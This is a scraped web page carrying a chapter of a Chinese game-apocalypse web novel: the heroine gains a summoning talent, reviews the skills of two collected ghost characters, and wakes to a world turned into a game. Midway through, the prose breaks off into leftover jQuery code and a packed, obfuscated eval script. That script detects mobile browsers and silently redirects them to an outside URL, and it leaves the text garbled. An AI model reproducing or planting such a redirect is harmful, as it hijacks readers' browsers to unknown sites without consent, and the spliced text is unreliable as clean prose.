$(''.inform'').remove(); $(''#content'').append('' 里知道是用来干什么的? 可这玩意儿刚问完,就出现了三秒倒计时,孟熙宁可没有充裕的时间去慢慢看了,立马就答应了下来! 总归是属于她自己的天赋技能,总不可能是坑她的吧? “滴!” “已扫描《笼中鸟》游戏副本,存在三位可收录角色。请玩家填写角色姓名,名字正确,即可收录完成。” ??? 同样的问号浮现在孟熙宁脸上。 不是,这就有点儿欺负人了吧? 这又是谁跟谁啊? 眼看熟悉的倒计时再次出现,这一次是十秒。 她顾不得追问,脑子里疯狂转动,很快捕捉到了两个信息,立刻对着空中喊出了两个名字: “鹤子!长寿郎!” 刚喊完,十秒倒计时就结束了。 至于第三个名字…… 她倒是也猜出了些许。 不过,根据她调查那些房间后知道的信息,对这第三个没时间喊出来的名字,孟熙宁并不觉得可惜,也不太想让那个角色出现在自己的天赋技能中。 “鹤子……角色认可该姓名,鹤子已收录完成。 长寿郎……角色认可该姓名,长寿郎已收录完成。” 呼! 对了! 孟熙宁心头一喜。 虽然还不知道是用来干嘛的,但有总比没有强吧? “你还有十分钟的休息时间,十分钟后,将彻底脱离《笼中鸟》副本。” 一个十分钟的倒计时开始悬挂在这个空间内。 孟熙宁可算是有了歇口气的机会,干脆盘腿坐在原地,抬起手腕检查起来。 前面那些信息倒是没什么意思,只是等级从0变成了1,后面的数字应该是经验值之类的东西,真的就跟打游戏一样。 而后面的可看性就多了。 那些数据还好。 她常年锻炼,身体素质除了防御以外,基本都在及格线以上。 孟熙宁一瞟而过,就把注意力放在了天赋和道具上面。 她点了点天赋后的百科全书,这一次终于不是未激活状态了,而是很快显现出具体的信息说明: 【百科全书(残缺版): 知识就是力量!书中自有黄金屋! 作为对爱书者的奖励,每一次通关游戏,你都可以通过填写姓名,为自己收录游戏副本中的角色,让其为你而战! 收录进《百科全书》的NPC,可由你召唤出场,每次出场可维持十分钟,角色卡出场一次冻结三小时,一天同一个角色最多只能召唤三次。 注:与百科全书配套的改写命运的笔正遗失在游戏世界中,快努力寻找,早日升级成完整版的《百科全书》吧!】 同时,一本如字典一样的书凭空出现,落在了孟熙宁的手中。 这书看着挺厚,拿在手中也十分沉重,可不知为什么,孟熙宁却觉得并不费劲儿,仿佛这东西就跟她长在一起,根本不需要用力。 书面是磨砂黑,镶嵌着暗银色的边框纹路,中间用烫金写着“百科全书”四个大字。 刚看完了天赋说明的孟熙宁眼前一亮。 好东西! 这可真是个好东西啊! 这不就是一本召唤卡册吗? 12. 召唤就是最棒的! 孟熙宁迫不及待地翻开了这本《百科全书》。 第一页是一片空白,再翻到下一页,才终于看到了图文内容。 图片上是一个穿着和服的女子背影,原本披散的黑色长发被挽成了发髻,一身红色和服,上面画着白鹤与云朵的纹路。 旁边有具体的文字说明: 【鬼母:鹤子】 出自:《笼中鸟》副本 技能: 1.有一种冷叫妈妈觉得你冷^_^ 发动技能后,可使对方如同被层层衣服紧紧包裹,动弹不得,僵直状态会持续三十秒,技能冷却时长一分钟。 2.你妈叫你回家吃饭! 发动技能后,可使对方处于力竭状态三十秒,如同饿了三天三夜,需要立即补充食物缓解,三十秒内如果没有相应缓解行动,会有百分之六十的概率触发倒地状态,强行晕厥十秒钟,技能冷却时长两分钟。 3.这样梳头才精神! 自动触发技能。当战斗中对方与鬼母四目相对时,鬼母可随意操纵对方的头发,持续时间三十秒,技能冷却时长三分钟。 4.你的压岁钱归我了! 当对方攻击到鬼母时,有百分之三十的可能,会被鬼母反向吸血,生命值补充至鬼母方成员,攻击力反弹给攻击者。 这四个技能一出,孟熙宁直接给看愣了。 真是请回了一位真“妈妈”啊! 不过这些技能也太好用了吧! 硬控技能加上吸血补状态,简直就是最强辅助了。 不过每天只能召唤三次角色,每一次召唤后就要冻结三小时,每一次出场只能持续十分钟。 按照这些技能的冷却时间来看,基本上一场战斗也用不了太多次,鬼母就要下线了。 孟熙宁直接看向了下一页。 不出所料,图中出现的正是那个提着纸灯笼的小男孩。 此时,小孩儿那双乌黑幽深的眼睛直直盯着正前方,就像是能隔着书看到拿着这本书的人似的。 和在游戏中不一样,孟熙宁现在一点儿都不觉得他恐怖了。 能为自己所用,越强大越好啊! 再看信息说明: 【长寿郎】 出自:《笼中鸟》副本 技能: 1.我是小孩子你得让着我╭(╯^╰)╮ 被动触发技能,当对方年龄比长寿郎大出一倍,或者等级比长寿郎高出三级及以上,长寿郎可先动手三秒钟,对方才能开始行动。 2.你的玩具给我玩玩怎么啦? 发动技能后,长寿郎有百分之五十的概率可以剥夺对方的道具。《百科全书》主人幸运值越高,成功可能性越大。一场战斗中,针对同一个对手,最多只能成功三次。 3.看我跳起来打你膝盖! 攻击技能,使用后长寿郎在原地蹦跳一次,可进入隐身模式,直到第一次攻击生效才会显露身形,技能冷却时间三秒。 4.呜呜呜,妈妈!有人打我o(╥﹏╥)o 当长寿郎被攻击后,原地大叫一声“妈妈”,可召唤鬼母出现,鬼母触发隐藏技能【5.暴走模式,所有数值翻倍,所有已使用技能刷新次数】。 在看到鬼母鹤子的技能说明时,孟熙宁已经很惊喜了,没想到,这位长寿郎小朋友,带给她的惊喜更大! 不仅有控制技能,还能隐身攻击、夺取武器,而且冷却时间很短,操作得当,就跟无限使用也没有区别了。 更别说最后一个技能了。 配合上鬼母鹤子,简直就是完美啊! 在注意到这一页最下方还用红色小字特殊标注了一行字后,孟熙宁更是觉得长寿郎那张惨白的小脸看上去愈发可爱了: 【注:该角色可升级,升级条件未知,升级后可激活新技能。】 孟熙宁忍不住摸了摸书页,有种奇妙的快乐。 在得知玩家会有天赋技能的时候,孟熙宁想的都是些作用于自身的攻击、辅助类技能。 刚知道她的天赋是一本书时,还有些疑惑。 现在却觉得再妙不过了。 召唤系,才是真的爽啊! 其他人需要亲身上场战斗时,她只需要召唤自己的“神奇宝贝”就行。 而且,现在才刚通过一个游戏副本,她就已经拥有了两位强力NPC,越到后面,她能够召唤的角色还会越多。 等到整本书都被收录满了的时候,即便每个角色只能维持十分钟,那也是一个很可怕的数字了! 一想到这里,孟熙宁顿觉安全感满满。 只有十分钟的休息时间,她不确定休息时间结束后,是要立即进入下一个游戏,还是有别的安排,所以暂时不打算将他们召唤出来,免得浪费了今天的次数。 干脆又看向了道具。 点开一看,不止名字变了,技能说明果然也不一样了,这可能就是正式玩家的福利? 【鬼母的菜刀】 武功再高,也怕菜刀! 这是一把见过血的菜刀,它既接触过死亡的力量,也见证过新生命的开始。 握住这把菜刀,或将其交给鬼母使用,你和鬼母都将同时拥有体质+10、力量+10的增幅。 有一定概率触发暴击,三次暴击后,必定触发血条减半效果,五次暴击后,可触发致命一击效果。 技能说明改变以后,不需要她本人佩戴,交给鬼母她就能直接获得加成了! 而且,致命一击的效果不只是对生命值低于她的敌人生效,只要连续触发暴击效果,次数累积后就能完成击杀。 孟熙宁满意地点了点头,正想将菜刀拿出来看看,外观上有没有什么变化,就听电子音突然响起: “休息时间已结束,正式脱离《笼中鸟》副本。 十、九、八……三、二、一! 感谢玩家的热情参与,期待一周后与您再次相见。” 空中的红色十分钟倒计时也在此时正式归零。 孟熙宁眼前一黑。 下一刻,她猛地睁开眼睛,却发现自己正躺在卧室的床上,熟悉的天花板和周围的环境,让她唰的一下从床上坐了起来。 这……这不是她进游戏前的房间吗? 正愣神时,窗外传来一阵汽车喇叭声,孟熙宁这才清醒过来,一看时间已经是早上了。 要不是左手手腕上那块黑色的腕表还在,她都要以为自己是做了一个光怪陆离的梦。 不知道为什么会回到现实世界,她第一反应还是查看了一下课表。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129261|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只过去了一晚上,对她来说却像是过去了好些天,精神都疲惫了起来,连带着对现实的感应都像是迟钝了。 发现今天没有自己的课,她放松了些。 按照以往的习惯,她此时应该已经起床收拾好,准备去图书馆看看书,或者去健身房锻炼了。 但此时,孟熙宁坐到了电脑前,打开了电脑。 不用她主动搜索,电脑上标红的热门信息就已经引入眼帘: 《光幕降临!极致黑夜到来!》 《世界游戏化?是整蛊还是真实》 《死去的尸体刷新不见,未来人类数据化》 《街头暴动,社会秩序如何维护》 而最新一条,却是—— 《全球排行公布》! 孟熙宁精神一振,一个一个点了进去。 进游戏前,她刚守完了一节晚自习,下班回到家躺到床上睡觉。 那时候,大概是十点左右。 现在已经是早上十点。 只过去了十二个小时左右,世界却好像有了翻天覆地的变化。 这些热点新闻都有视频和文字说明,通体看下来,基本就能知道一个大概了。 从昨晚十点,也就是孟熙宁他们这些首发玩家进入游戏开始的时间,外面的世界一阵震荡,就像是整个地球被人凭空拿了起来。 一阵失重感之后,一切恢复正常。 紧接着,就是极致的夜幕降临。 当时,孟熙宁所在的地区本来就是晚上,但这降临的黑夜却比原本的夜晚更夸张。 所有的光线,不管是自然的月光还是灯光、电子产品的光,又或者别的,全都被那黑色给吞没了,完全是伸手不见五指,仿佛整个世界都只能感觉到自己的存在,一切光源声音都消失不见。 另一半球本来还在白天,也同样在那一刻迎来了纯黑的世界。 这种状况,一直持续了大约两个小时,等到十二点后,才终于结束。 然后,一个声音就告诉所有人,这颗星球已经被拖入游戏世界,等到有玩家通关所有关卡,才会被放回原本的现实世界。 其他内容,和孟熙宁他们在游戏里听到的差不多。 那声音不知道是什么语言,可却能让所有人都听懂它说的话。 等到声音消失后,还有人不相信,总觉得是什么整蛊游戏。 可很快,大家就发现了不对劲的地方。 不管是发生冲突造成的意外,还是医院里生病去世的病人,那些尸体,都没来得及处理,短短十秒内,就原地消失了。 就跟他们平时玩的游戏里的那些怪物尸体一样。 除此以外,还有很多类似的游戏化现象出现,证明了那个声音所言非虚。 一时间,人心惶惶。 大家并不确定被选进了游戏的是哪些人,也不清楚那些玩家的表现如何,而他们只能作为预备役,在外面等一个结果,生怕某一天,突然就被告知自己所在的大洲被完全吞并了所有资源,直接抹杀下线了。 各地都开始出现了暴乱的现象,又陆续被镇压了下去。 到孟熙宁醒来,外面已经恢复了基本的平静,至少表面上是这样的。 她深吸了一口气,开始点进了那个排行榜名单。